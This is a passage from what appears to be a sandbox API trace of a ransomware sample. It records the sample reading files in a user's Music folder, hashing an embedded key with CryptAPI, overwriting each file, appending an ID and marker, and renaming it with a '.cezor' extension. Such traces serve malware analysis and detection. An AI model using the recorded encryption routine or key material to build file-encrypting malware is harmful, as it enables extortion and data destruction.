hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.283] GetLastError () returned 0x0 [0060.283] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.283] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.283] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.283] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x35a0) returned 0x31218d0 [0060.283] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.284] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x3595, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x3595, lpOverlapped=0x0) returned 1 [0060.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.284] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x359a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.284] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.284] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.284] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.284] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.284] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.284] CloseHandle (hObject=0x5c4) returned 1 [0060.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.285] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.285] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.285] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Fnpi8zzFvSVq9mHNij76.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fnpi8zzfvsvq9mhnij76.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Fnpi8zzFvSVq9mHNij76.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fnpi8zzfvsvq9mhnij76.wav.cezor")) returned 1 [0060.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.286] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.286] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.286] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf63ff3d0, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0x8fc57a30, ftLastAccessTime.dwHighDateTime=0x1d4d1d5, ftLastWriteTime.dwLowDateTime=0x8fc57a30, ftLastWriteTime.dwHighDateTime=0x1d4d1d5, nFileSizeHigh=0x0, nFileSizeLow=0x12caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HX-X27lPA60A4.m4a", cAlternateFileName="HX-X27~1.M4A")) returned 1 [0060.286] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.287] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.287] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.287] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HX-X27lPA60A4.m4a") returned=".m4a" [0060.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HX-X27lPA60A4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hx-x27lpa60a4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.287] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=76970) returned 1 [0060.287] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.289] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.289] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.290] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.290] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.290] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.290] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12caa, lpOverlapped=0x0) returned 1 [0060.290] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.290] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.290] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.291] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.291] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.291] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.291] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.291] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.291] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.291] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.291] GetLastError () returned 0x0 [0060.291] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.291] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.292] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.292] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x12cb0) returned 0x3132418 [0060.292] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.292] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.292] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x12ca5, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x12ca5, lpOverlapped=0x0) returned 1 [0060.292] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.292] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12caa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.292] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.292] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.292] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.293] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.293] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.293] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.293] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.293] CloseHandle (hObject=0x5c4) returned 1 [0060.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.294] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0060.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.294] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HX-X27lPA60A4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hx-x27lpa60a4.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HX-X27lPA60A4.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hx-x27lpa60a4.m4a.cezor")) returned 1 [0060.294] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.294] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0060.295] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28b5530, ftCreationTime.dwHighDateTime=0x1d4d17f, ftLastAccessTime.dwLowDateTime=0xdf384110, ftLastAccessTime.dwHighDateTime=0x1d4c631, ftLastWriteTime.dwLowDateTime=0xdf384110, ftLastWriteTime.dwHighDateTime=0x1d4c631, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i0vpbCxKUDj27FIiTrf.wav", cAlternateFileName="I0VPBC~1.WAV")) returned 1 [0060.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.295] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0060.295] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.295] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\i0vpbCxKUDj27FIiTrf.wav") returned=".wav" [0060.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\i0vpbCxKUDj27FIiTrf.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\i0vpbcxkudj27fiitrf.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.296] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1272) returned 1 [0060.296] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.298] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.298] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.299] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.299] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.299] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x4f8, lpOverlapped=0x0) returned 1 [0060.299] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.299] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.299] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.299] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.299] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.300] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.300] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.300] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.300] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.300] GetLastError () returned 0x0 [0060.300] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.300] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x500) returned 0x3116f60 [0060.300] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.300] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb24*=0x4f3, lpOverlapped=0x0) returned 1 [0060.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0060.300] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.300] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.300] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.301] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.301] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.301] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.301] CloseHandle (hObject=0x5c4) returned 1 [0060.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.301] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0060.301] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.301] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\i0vpbCxKUDj27FIiTrf.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\i0vpbcxkudj27fiitrf.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\i0vpbCxKUDj27FIiTrf.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\i0vpbcxkudj27fiitrf.wav.cezor")) returned 1 [0060.302] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.302] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0060.303] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35c1b70, ftCreationTime.dwHighDateTime=0x1d4c7a9, ftLastAccessTime.dwLowDateTime=0xdbbf43f0, ftLastAccessTime.dwHighDateTime=0x1d4c8c3, ftLastWriteTime.dwLowDateTime=0xdbbf43f0, ftLastWriteTime.dwHighDateTime=0x1d4c8c3, nFileSizeHigh=0x0, nFileSizeLow=0x458c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KbAGa_jf9A0p1.mp3", cAlternateFileName="KBAGA_~1.MP3")) returned 1 [0060.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0060.303] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0060.303] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0060.303] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KbAGa_jf9A0p1.mp3") returned=".mp3" [0060.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KbAGa_jf9A0p1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\kbaga_jf9a0p1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.303] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=17804) returned 1 [0060.303] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.306] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4566, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.306] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.306] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.306] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.306] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.306] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x458c, lpOverlapped=0x0) returned 1 [0060.307] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.307] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.307] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.307] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.307] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.307] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.307] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.307] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.307] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.308] GetLastError () returned 0x0 [0060.308] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.308] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4590) returned 0x31218d0 [0060.308] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.308] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x4587, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x4587, lpOverlapped=0x0) returned 1 [0060.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.308] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x458c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0060.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.308] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.308] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0060.308] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) 